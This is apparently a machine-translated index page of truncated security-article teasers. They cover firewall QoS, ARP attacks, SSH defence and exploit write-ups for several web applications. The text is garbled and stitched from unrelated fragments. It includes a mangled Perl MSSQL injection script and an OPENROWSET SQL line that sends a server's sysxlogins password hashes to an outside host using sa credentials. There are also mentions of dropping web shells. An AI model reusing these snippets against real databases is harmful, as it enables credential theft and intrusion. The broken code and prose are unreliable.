Implement QoS on the ASA firewall

1. Implementation requirements: place the Site-to-Site VPN of the headquarters and branch offices in the priority queue, so that the VPN traffic can be forwarded first; put my computer in the priority queue, make yourself faster on the Internet (a

How to Avoid ARP attacks on wireless routers

With the rapid development of social information technology, enterprise network-based office has now entered the wireless network field. The biggest advantage of building a wireless network is that the network is easy to use and cost-effective

OSI stack security: Layer 2-Encryption

  Previous Article: OSI stack security: Layer 2-physical layer security threats OSI stack security: Layer 4-understanding the role of ARP OSI stack security: Role of Layer 2-ICMP OSI stack security: Layer 4-Fingerprint Recognition OSI stack security:

RFID security-ACR122U novice experience

I have long heard that hackers from abroad are working on NFC security. Due to their laziness, they have not studied it in depth. Recently, an NFC-safe QQ group of 195590931 has been added, I saw a lot of NFC-related equipment sold in it. I bought

Don't you want your ssh to be cracked? Come on!

We have received complaints from elders recently ~Website access is slow ~~ What did you do !!! Of course, I can't tell them how they even do it ..... I visited it myself. Although the server is an old machine, it is time to beat my ass to this

The wall breaking method and ultimate defense of Kingsoft shell and other arpfirewalls

Today, I suddenly want to write an article about breaking the Arp firewall. There is only one truth: knowing the principles will let you know the solution ...... Arp is also a very old communication protocol, and Arp attacks are also very old. I

Computer security policy knowledge

In view of the current situation of computers, we hope that the majority of Internet users can effectively prevent their computers, reduce the probability of computer poisoning, and make their computers a source of virus transmission.1. anti-virus

Use CAR to prevent Smurff attacks

At the beginning of the design, TCP/IP protocol did not consider security too much. Therefore, many protocols have vulnerabilities exploited by hackers. With the rapid expansion of the Internet, these vulnerabilities will pose an increasingly severe

EoCMS SQL injection vulnerability

EoCMS SQL injection vulnerability1. General informationEoCMS is an open source code software which is used to develop InternetForum (http://eocms.com/). On October 15,200 9, Bkis Security detectedSQL injection vulnerability in some functions of

WordPress & amp; lt; = 2.8.5 Unrestricted File Upload Arb

From: Dawid Golunski Date: Wed, 11 Nov 2009 16:47:49 + 0000 -------------------------------------------------------------------------------- ========================================================== =====-Release date: November 11th,

Perl burst into columns in mssql Injection

#! /Usr/bin/perl-w# Codz by n3tl04d# Date 2008-4-13 Use strict;Use lwp; If (@ argv! = 2 ){& Nbsp; print & quot; usage: $0 injection point Table Name & quot ;;& Nbsp; exit;} My $ browser;My $ start = time ();My $ talbe = $ argv [1];My $ vul = $ argv [

Excellent SQL code in rare Chinese Versions

The essence of the Code is as follows: The following is a reference clip:Insert into OPENROWSET ('sqloledb', 'uid = sa; pwd = apachy_123; Network = DBMSSOCN; Address = 202.100.100.1, 1433; ', 'select * from _ sysxlogins ') select * from database.

Principle and Application of conn. asp brute-force database Method

Learn conn today. asp brute-force library, this method is already a very old method, it is through direct access to the database connection file conn. asp causes an error on the server. The absolute path of the database is exposed by the returned

Ssshome yanzcx V1.0 Vulnerability

Stuffy This cms is not worth mentioning. There are many program vulnerabilities. Many people have never seen this cms... ------------------------- Subject ------------------------ Today, I posted a website in the group to ask if someone has seen it..

JBOSS Remote Code Execution Vulnerability

Author: safe3 By default, JBOSS has a background vulnerability, which occurs inJboss. deployment namespace InAddURL () function,This function can remotely download and decompress a war package Access http://www.safe3.com.cn:

Discuz! 7.1 & amp; 7.2 execute remote code

Analyze the remote code execution vulnerability. The problem is really serious. You can directly write the shell: The vulnerability comes from the showmessage function: Function showmessage ($ message, $ url_forward =, $ extra =, $ forwardtype = 0 ){

Phpwind 7.5 Multiple Include Vulnerabilities

Edit Note: The page width is insufficient. If you want to view details in this article, please copy all the selected content to your computer notepad or Word document, The full text is displayed. Phpwind 7.5 Multiple Include Vulnerabilities author: 8

How to Use XSS

1. Permission escalation in XSSWith the application of AJAX technology in many large SNS websites, XSS has become increasingly popular. Using AJAX in XSS scenarios can play its role more effectively.XSS is the easiest place for user input, such as

A way to upload aspxshell for first-class Monitoring System

Release site: t00ls.netReleased by: binckerTime:We all know what is going on in "first-class Monitoring System", mainly because the uploaded data is filtered out, such as varchar and so on. Yesterday, priest said that there was a monitoring system

SiteDynamic v1.6.0.1 SQL Injection 0day

SiteDynamic enterprise website management system v1.6.0.1 I will not talk about it much, there are not many websites used, and I helped my friends dig holes. On the Forum, xiya posted the fckeditor Upload Vulnerability. Read the Code:001 //

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